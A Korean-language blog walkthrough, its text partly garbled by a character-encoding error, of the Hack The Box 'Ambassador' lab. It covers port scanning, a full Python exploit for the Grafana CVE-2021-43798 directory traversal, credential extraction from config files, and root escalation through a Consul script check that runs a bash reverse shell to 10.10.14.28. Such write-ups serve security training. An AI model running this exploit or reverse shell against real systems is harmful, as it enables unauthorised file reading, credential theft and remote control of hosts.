[Hack The Box] Ambassador νμ΄
π‘ Hack-The-Box Ambassador νμ΄ μ λλ€.
λ¬Έμ
Enumeration
βββ(kaliγΏkali)-[~/Desktop]
ββ$ nmap -sV -p - -vv --min-rate 3000 10.129.228.56
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-12 00:01 EST
NSE: Loaded 45 scripts for scanning.
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open ppp? syn-ack
3306/tcp open mysql syn-ack MySQL 8.0.30-0ubuntu0.20.04.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 53.82 seconds
22,80,3000,3306 λ² ν¬νΈκ° μ΄λ €μμ΅λλ€.
HTTP
νΉλ³νκ² μ΄ν΄λ³Ό μ§μ μ΄ μκΈ° λλ¬Έμ subdirectory listingμ μνν©λλ€.
subdirectoryλ νΉλ³νκ² μ΄ν΄λ³Ό μ§μ μ΄ μμ΅λλ€.
3000λ² ν¬νΈλ‘ μ μμ ν΄λ΄ λλ€. GrafanaλΌλ μλΉμ€κ° λμ΅λλ€.
Searchsploit
νλ¨μ λ²μ μ λ³΄κ° μ‘΄μ¬νκΈ° λλ¬Έμ κ΄λ ¨ μ΅μ€νλ‘μμ΄ μ‘΄μ¬νλμ§ μ°Ύμλ΄ λλ€.
searchsploit grafana
Directory Traversal and Arbitary File Read
κ° κ°λ₯ν exploit μ½λκ° μ‘΄μ¬ν©λλ€.
ν΄λΉ μ΅μ€νλ‘μμ λ€μ΄λ°μ λ€ μ½λλ₯Ό μ΄ν΄λ³΄λ©΄ λ€μκ³Ό κ°μ΅λλ€.
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import argparse
import sys
from random import choice
plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
.. μλ΅
"timeseries",
"welcome",
"zipkin"
]
def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }
while True:
file_to_read = input('Read file > ')
try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)
if 'Plugin file not found' in r.text:
print('[-] File not found\n')
else:
if r.status_code == 200:
print(r.text)
else:
print('[-] Something went wrong.')
return
except requests.exceptions.ConnectTimeout:
print('[-] Request timed out. Please check your host settings.\n')
return
except Exception:
pass
def main():
parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
parser.add_argument('-H',dest='host',required=True, help="Target host")
args = parser.parse_args()
try:
exploit(args)
except KeyboardInterrupt:
return
if __name__ == '__main__':
main()
sys.exit(0)
μ΅μ€νλ‘μ μ½λ μ체λ κ°λ¨ν©λλ€. μ¬λ¬ plugin_list μ€μμ νλλ₯Ό μ ννλ€μ λ€μκ³Ό κ°μ΄ κ²½λ‘ μ κ·Όμ μλνλ©΄ μνλ νμΌμ μ½μ μ μλ μ·¨μ½μ μ λλ€.
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
ν΄λΉ μ½λλ₯Ό μ€ννμ¬ /etc/passwdλ₯Ό μ½μ΄λ΄ λλ€.
μ΅μ€νλ‘μ μ½λκ° λμν©λλ€.
μ΄μ λ μ΄λ ν νμΌμ μ½μμ§ κ³ λ―Όμ ν΄μΌ ν©λλ€.
νμ¬ μ€νλκ³ μλ μλΉμ€(grafana)μ μ€ννμΌμ λ¨Όμ μ½μ΄ λ΄ λλ€. μ€ννμΌμ κ²½λ‘λ /etc/grafana/grafana.ini μ λλ€.
μ€μ νμΌμμ admin κ³μ μ μ λ³΄κ° λ ΈμΆλμ΄ μμ΅λλ€.
id : admin
password : messageInABottle685427
λμ보λλ₯Ό μ‘°κΈ μ΄ν΄λ³΄λ©΄ λ€μκ³Ό κ°μ΄ mysql λ°μ΄ν°λ² μ΄μ€λ₯Ό μ¬μ©νλ€λ κ²μ μ μ μμ΅λλ€.
grafana λ¬Έμλ₯Ό 보면, μ€μ νμΌλ€μ provisioning/datasources/
κ²½λ‘ μλμ μ μ₯ν©λλ€.
λ°λΌμ mysql.yaml νμΌμ μ½μ΄λΌ μ μμ΅λλ€.
Mysql
user : grafana
password : dontStandSoCloseToMe63221!
λ€μκ³Ό κ°μ μ¬μ©μ λ°μ΄ν°κ° μ‘΄μ¬ν©λλ€.
λΉλ°λ²νΈκ° base64 μΈμ½λ© λμ΄ μλκ²μΌλ‘ λ³΄μ¬ λμ½λ©μ ν΄λ΄ λλ€.
id : developer
password : anEnglishManInNewYork027468
Privilege Escalation
developer κ³μ μμ νμΌμ νμΈν΄λ³΄λ©΄ .gitconfig
νμΌμ΄ μ‘΄μ¬ν©λλ€.
/opt/my-app
ν΄λμμ κΉμ μ΄μ©ν μμ
μ νκ²μΌλ‘ 보μ΄κΈ° λλ¬Έμ νμΈμ ν©λλ€
λ³κ²½ μ¬νμ νμΈν©λλ€.
consul token : bb03b43b-1d81-d62b-24b5-39540ee469b5
# token μ 보μμ΄ consulμ μ¬μ©ν μ μλ€.
developer@ambassador:/opt/my-app/whackywidget$ consul kv put a b
Error! Failed writing data: Unexpected response code: 403 (Permission denied: token with AccessorID '00000000-0000-0000-0000-000000000002' lacks permission 'key:write' on "a")
# token μ 보λ₯Ό κ°μ΄ μ£Όλ©΄ κΆνμ΄ νμ©λλ€.
developer@ambassador:/opt/my-app/whackywidget$ consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 test a
Success! Data written to: test
# λ€μμ²λΌ νκ²½λ³μλ‘ λ±λ‘ν΄λκ³ ν ν°μ μ¬μ©νλ€.
developer@ambassador:/opt/my-app/whackywidget$ export TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
developer@ambassador:/opt/my-app/whackywidget$ consul kv get --token $TOKEN test
a
consulμ μ€ν κΆν λ° μ€μ νμΌμ νμΈν΄ λ΄ λλ€.
μ°μ νλ‘μΈμ€λ root κΆνμΌλ‘ μ€νλκ³ μμ΅λλ€.
consulμ μ€μ νμΌμΈ /etc/consul.d/consul.hcl νμΌμ€ νλ¨μ μ€μ μ λ€μκ³Ό κ°μ΅λλ€.
enable_script_checkst = ture
μ€μ μ /etc/consul.d/config.d/
κ²½λ‘μ μλ λ€λ₯Έ μ€ν¬λ¦½νΈ νμΌλ€μ μλμΌλ‘ μ€νμν¨λ€λ μ΅μ
μ
λλ€.
λ°λΌμ ν΄λΉ κ²½λ‘μ exploit μ½λλ₯Ό μμ±νκ³ consul νλ‘μΈμ€λ₯Ό μ¬μμ ν μ μλ€λ©΄, root κΆνμ νλν μ μμ΅λλ€.
ν΄λΉ νμΌμ json ννλ‘ μμ±νμ¬ exploit.json
νμΌλ‘ μ μ₯νμμ΅λλ€.
{
"check":{
"name":"exploit",
"args" : ["/usr/bin/bash","/tmp/shell.sh"],
"interval" : "30s"
}
}
/tmp/shell.sh
λ λ€μκ³Ό κ°μ΄ μμ±νλ€, consul reload --toekn $TOKEN
μ μ
λ ₯νμ¬ consulμ μ¬μμ ν©λλ€.
bash -i >& /dev/tcp/10.10.14.28/4444 0>&1
reverse shellμ νλνμ¬ root flagλ₯Ό μ»μ μ μμ΅λλ€.
λκΈλ¨κΈ°κΈ°